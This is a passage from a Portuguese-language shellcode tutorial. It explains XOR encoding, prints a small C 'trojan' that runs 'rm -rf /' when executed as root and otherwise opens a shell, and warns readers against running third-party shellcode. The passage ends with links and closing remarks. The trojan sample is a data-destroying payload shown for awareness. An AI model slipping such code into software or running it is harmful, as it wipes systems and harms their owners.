1 | 1 | 0

Em outras palavras, o resultado do XOR eh verdade se e somente se um 
operando eh verdadeiro e o outro eh falso.Isto dah ao XOR uma propriedade
unica; se voce aplicar XOR a um byte com outro byte chamado 'chave', e
aplicar o resultado desta operacao a uma nova operacao XOR com a mesma
chave, o resultado serah o byte original.Por exemplo:

    1  1  0  1      1  0  0  1 ---------------
^   0  1  0  1      0  0  1  1  (Chave)       |
    ------------------------------------      |
    1  0  0  0      1  0  1  0                |
					      | _______ Sao iguais.
					      |
    1  0  0  0      1  0  1  0                |
^   0  1  0  1      0  0  1  1  (Chave)       |
    ------------------------------------      |
    1  1  0  1      1  0  0  1 ---------------
   

2.6 - O Perigo dos Trojans
----------------------------

Bom, mano.Eu nao me considero um cara irresponsavel! Mas codei com sucesso
um shellcode que executa o programa abaixo:

------------------------------- trojan.c --------------------------------

#include <stdio.h>
#include <stdlib.h>

main(){
char *comando1[2];
char *comando2[3];

comando1[0] = "/bin/sh";
comando1[1] = NULL;

comando2[0] = "/bin/rm";
comando2[1] = "-rf /";
comando2[2] = NULL;

if(getuid(0) == 0)){
execve(comando2[0], comando2, NULL);
exit(0);
}
execve(comando1[0], comando1, NULL);
}
-------------------------------------------------------------------------

Tem mais um probleminha, o mesmo programa acima pode ser encriptado.Entao
ele pode fugir de strings e tambem  executa um simples /bin/sh quando um
usuario diferente do root executa-lo.Isso pode representar um grande
perigo, de modo que, ainda nao vou disponibilizar o shellcode pronto.
Pretendo fazer um artigo em breve descrevendo qua nao se deve confiar no
comando strings, e devo disponibilizar esse shellcode no mesmo.Fique
atento a pagina do Unsekurity Team que em breve este artigo serah
publicado.
O leitor deste tutorial fica desde jah avisado a jamais executar shellcodes
de terceiros.Procure aprender o maximo de C para que voce possa detectar
uma condicao de execucao de shellcode trojan,e cuidado com o comando
strings.Leia as recomendacoes que faco no tutorial de backdoor e trojans
horse que disponibilizo.Seja critico, tome cuidado com tudo que entra em
sua maquina.
Aprenda a fazer seus proprios shellcodes para que nao necessite nunca
executar um shellcode de terceiros.

---------------
3 - TERMINANDO |
---------------

Mais uma vez quero deixar claro que tudo descrito aqui eh amplamente
difundido na internet.As teorias e exemplos aqui, a grande maioria dos
fucadores jah conhecem.Nao pense amigo, que sabendo o que estah descrito
aqui, voce jah saberah tudo sobre shellcodes.Existem muitos outros esquemas
e possiveis implementacoes usando shellcodes.Creio que unindo os dois
tutoriais feitos por mim, nao vimos ainda 1 milesimo do que pode ser visto.
Aos poucos iremos engrossando o caldo, e pretendo ainda dar continuidade
a este tutorial.Existem muitos esquemas para serem descritos ainda,
por menores de varias tecnicas.Espero que as informacoes descritas acima
tenham servido de aprendizado para voce.Eu sei perfeitamente que nao eh
facil trabalhar em cima disso, qualquer duvida, procure a mim ou a qualquer
membro do Unsekurity Team, com certeza iremos tentar te ajudar.

3.1 - Links e Referencias
---------------------------

De uma olhada nos links do primeiro tutorial.Existem varios sobre assembly.

* Referencias:

"Turbo C Avancado" - Herbert Schildt. Editora McGraw-Hill

* Links:

http://www.phrack.com/ -> Procure P49-14.
http://www.bufferoverflow.org/ -> Procure o tool sc.tgz.
http://packetstorm.securify.com/ -> Procure por shellcode SDI.
				    Procure por adv.buffer.overflow.txt.

* Home pages do Unsekurity Team:

http://unsekurity.virtualave.net/
http://unsekurity.cyberpunk.com.br/

* Outros Links Interessantes:

http://www.hacker.com.br/
http://www.taldowin.com.br/
http://www.securenet.com.br/


3.2 - Consideracoes Finais
---------------------------

Segunda parte do tutorial de shellcodes terminada.Em breve estaremos
publicando mais material envolvendo isso, e o tutorial sobre IPC estah
cada vez maior.Mas espero em breve poder disponibiliza-lo.A recepcao vem
sendo boa, estamos recebendo criticas, sempre construtivas tambem, aos
poucos estamos amadurecendo, mais gente temse engajado conosco, e varios
esquemas tem sido realizados.Enquanto nao aparece um emprego, o tempo
disponivel, eu tenho usado no que considero ser 'de forma sabia', aprendendo
e praticando.Tenho pesquisado e sendo feliz na 'quebra' de alguns conceitos
muito usados pela seguranca.Eu ia publicar um artigo expondo varios
problemas encontrados no Conectiva 5.0, mas achei melhor nao..Mas tem um
pedaco dele disponivel para os mais proximos, se voce usa Red Hat Conectiva
5.0 aconselho a mudar de Linux o mais rapido possivel.. Passamos um final
de semana com ele e achamos diversos bugs e falhas em sua configuracao
padrao.
Gostaria de agradecer a tanta gente..Pessoal que tem nos dado forca de
varias maneiras, mas prefiro nao citar nomes..Apenas digo a esse pessoal,
se precisar, estamos aih, saibam sempre que podem contar comigo.
Um abraco, amigo leitor.

						Nash Leon.

---------------------------------- EOF -----------------------------------
